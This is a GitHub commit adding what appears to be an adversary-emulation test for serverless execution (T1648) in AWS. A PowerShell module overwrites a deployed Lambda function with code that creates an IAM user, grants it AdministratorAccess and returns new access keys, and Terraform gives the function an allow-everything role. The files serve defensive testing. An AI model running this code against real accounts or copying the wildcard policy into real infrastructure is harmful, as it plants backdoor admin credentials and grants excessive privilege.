-
Notifications
You must be signed in to change notification settings - Fork 2.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Co-authored-by: Hare Sudhan <[email protected]> Co-authored-by: Bhavin Patel <[email protected]>
- Loading branch information
1 parent
8248b65
commit fdd7704
Showing
7 changed files
with
333 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
attack_technique: T1648 | ||
display_name: 'Serverless Execution' | ||
atomic_tests: | ||
- name: Lambda Function Hijack | ||
description: | | ||
Modify an existing Lambda function to execute arbitrary code. | ||
supported_platforms: | ||
- iaas:aws | ||
input_arguments: | ||
access_key: | ||
description: AWS Access Key | ||
type: string | ||
default: "" | ||
secret_key: | ||
description: AWS Secret Key | ||
type: string | ||
default: "" | ||
session_token: | ||
description: AWS Session Token | ||
type: string | ||
default: "" | ||
profile: | ||
description: AWS profile | ||
type: string | ||
default: "" | ||
region: | ||
description: AWS region to deploy the EC2 instance | ||
type: string | ||
default: us-east-2 | ||
dependency_executor_name: powershell | ||
dependencies: | ||
- description: | | ||
The AWS PowerShell module must be installed. | ||
prereq_command: | | ||
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} | ||
get_prereq_command: | | ||
Install-Module -Name AWSPowerShell -Force | ||
- description: | | ||
Terraform must be installed. | ||
prereq_command: | | ||
terraform --version | ||
get_prereq_command: | | ||
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html" | ||
executor: | ||
command: | | ||
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force | ||
$access_key = "#{access_key}" | ||
$secret_key = "#{secret_key}" | ||
$session_token = "#{session_token}" | ||
$aws_profile = "#{profile}" | ||
$region = "#{region}" | ||
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region | ||
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" | ||
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region") | ||
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region | ||
cleanup_command: | | ||
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force | ||
$access_key = "#{access_key}" | ||
$secret_key = "#{secret_key}" | ||
$session_token = "#{session_token}" | ||
$aws_profile = "#{profile}" | ||
$region = "#{region}" | ||
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region | ||
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region") | ||
Remove-MaliciousUser -AWSProfile "T1648-1" | ||
Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/" | ||
name: powershell |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,167 @@ | ||
Import-Module AWSPowerShell | ||
|
||
function Set-AWSAuthentication { | ||
param ( | ||
[string]$AccessKey, | ||
[string]$SecretKey, | ||
[string]$SessionToken, | ||
[string]$AWSProfile, | ||
[string]$AWSRegion | ||
) | ||
if ($SessionToken -eq "" -and $AWSProfile -eq "") { | ||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1" | ||
} | ||
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") { | ||
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1" | ||
} | ||
elseif ($AWSProfile -ne "") { | ||
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1" | ||
} | ||
|
||
try { | ||
Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again." | ||
exit 1 | ||
} | ||
Set-DefaultAWSRegion -Region $AWSRegion | ||
} | ||
|
||
function Invoke-Terraform { | ||
param ( | ||
[string]$TerraformCommand, | ||
[string]$TerraformDirectory, | ||
[string[]]$TerraformVariables | ||
) | ||
|
||
$currentPath = Resolve-Path . | ||
|
||
if (-not (Test-Path $TerraformDirectory)) { | ||
Write-Host "ERROR: Terraform directory not found. Please check the path and try again." | ||
exit 1 | ||
} | ||
|
||
if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) { | ||
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again." | ||
exit 1 | ||
} | ||
|
||
foreach($variable in $TerraformVariables) { | ||
$varName = $variable.Split("=")[0] | ||
$varValue = $variable.Split("=")[1] | ||
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process") | ||
} | ||
|
||
Set-Location $TerraformDirectory | ||
|
||
if ($TerraformCommand -eq "init") { | ||
try { | ||
terraform init | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} elseif ($TerraformCommand -eq "apply") { | ||
try { | ||
terraform apply -auto-approve | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} elseif ($TerraformCommand -eq "destroy") { | ||
try { | ||
terraform destroy -auto-approve | Out-Null | ||
} | ||
catch { | ||
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again." | ||
exit 1 | ||
} | ||
} else { | ||
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'." | ||
exit 1 | ||
} | ||
|
||
Set-Location $currentPath | ||
} | ||
|
||
function Invoke-LambdaAttack { | ||
param ( | ||
[string]$AWSProfile, | ||
[string]$AWSRegion | ||
) | ||
|
||
$maliciousContent = "import json`n" | ||
$maliciousContent += "import boto3`n`n" | ||
$maliciousContent += "def lambda_handler(event, context):`n" | ||
$maliciousContent += " client = boto3.client('iam')`n" | ||
$maliciousContent += " client.create_user(UserName='T1648-1')`n" | ||
$maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n" | ||
$maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n" | ||
$maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n" | ||
$maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n" | ||
$maliciousContent += " return {`n" | ||
$maliciousContent += " 'statusCode': 200,`n" | ||
$maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n" | ||
$maliciousContent += " }`n" | ||
|
||
$zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip" | ||
$zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create) | ||
$zipEntry = $zipFile.CreateEntry("lambda.py") | ||
$zipStream = $zipEntry.Open() | ||
$zipWriter = New-Object System.IO.StreamWriter($zipStream) | ||
$zipWriter.Write($maliciousContent) | ||
$zipWriter.Close() | ||
$zipStream.Close() | ||
$zipFile.Dispose() | ||
$zipContent = [System.IO.File]::ReadAllBytes($zipPath) | ||
|
||
$null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion | ||
Sleep 10 # Wait a bit for the Lambda function to update | ||
$result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion | ||
$payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON | ||
$output = $payload | select Body | ||
Remove-Item $zipPath | ||
Write-Host "INFO: Lambda function code updated successfully." | ||
$accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId | ||
$secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey | ||
Write-Host "INFO: New Access Key ID: $accessKeyId" | ||
Write-Host "INFO: New Secret Access Key: $secretAccessKey" | ||
} | ||
|
||
function Remove-MaliciousUser { | ||
param ( | ||
[string]$AWSProfile | ||
) | ||
|
||
try { | ||
$null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile | ||
} catch { | ||
return | ||
} | ||
|
||
$accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile | ||
foreach ($accessKey in $accessKeys) { | ||
$null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force | ||
} | ||
Sleep 5 # Wait a bit for the access keys to be removed | ||
$null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force | ||
$null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force | ||
Write-Host "INFO: Malicious user 'T1648-1' removed successfully." | ||
} | ||
|
||
function Remove-TFFiles { | ||
param ( | ||
[string]$Path | ||
) | ||
|
||
try { | ||
Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue | ||
Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue | ||
Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue | ||
} catch { | ||
return | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
data "archive_file" "lambda_code" { | ||
type = "zip" | ||
source_content = <<EOF | ||
def lambda_handler(event, context): | ||
return "This is a benign lambda function" | ||
EOF | ||
source_content_filename = "lambda.py" | ||
output_path = "${path.module}/lambda_code.zip" | ||
} | ||
|
||
resource "aws_lambda_function" "lambda" { | ||
filename = data.archive_file.lambda_code.output_path | ||
function_name = "T1648-1" | ||
role = aws_iam_role.lambda_role.arn | ||
handler = "lambda.lambda_handler" | ||
runtime = "python3.11" | ||
source_code_hash = data.archive_file.lambda_code.output_base64sha256 | ||
timeout = 30 | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
data "aws_iam_policy_document" "lambda_assume_role_policy" { | ||
statement { | ||
effect = "Allow" | ||
|
||
principals { | ||
type = "Service" | ||
identifiers = ["lambda.amazonaws.com"] | ||
} | ||
|
||
actions = ["sts:AssumeRole"] | ||
} | ||
} | ||
|
||
resource "aws_iam_role" "lambda_role" { | ||
name = "LambdaRole" | ||
assume_role_policy = data.aws_iam_policy_document.lambda_assume_role_policy.json | ||
} | ||
|
||
resource "aws_iam_policy" "lambda_policy" { | ||
name = "TestLambdaPolicy" | ||
description = "Test Policy for Lambda function" | ||
policy = jsonencode({ | ||
Version = "2012-10-17", | ||
Statement = [ | ||
{ | ||
Effect = "Allow", | ||
Action = [ | ||
"*" | ||
], | ||
Resource = "*" | ||
} | ||
] | ||
}) | ||
} | ||
|
||
resource "aws_iam_role_policy_attachment" "lambda_policy_attachment" { | ||
role = aws_iam_role.lambda_role.name | ||
policy_arn = aws_iam_policy.lambda_policy.arn | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
terraform { | ||
required_providers { | ||
aws = { | ||
source = "hashicorp/aws" | ||
version = "= 5.82.2" | ||
} | ||
} | ||
} | ||
|
||
provider "aws" { | ||
profile = var.profile | ||
region = var.region | ||
|
||
default_tags { | ||
tags = { | ||
AtomicTest = "T1648-1" | ||
} | ||
} | ||
} | ||
|
||
locals { | ||
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws" | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
resource "aws_cloudwatch_log_group" "lambda_log_group" { | ||
name = "/aws/lambda/T1648-1" | ||
retention_in_days = 1 | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
variable "profile" { | ||
description = "The AWS profile to use" | ||
default = "default" | ||
} | ||
|
||
variable "region" { | ||
description = "The AWS region to deploy to" | ||
default = "us-east-2" | ||
} | ||
|
||
variable "instance_type" { | ||
description = "The instance type to use for the EC2 instance" | ||
default = "t2.micro" | ||
} |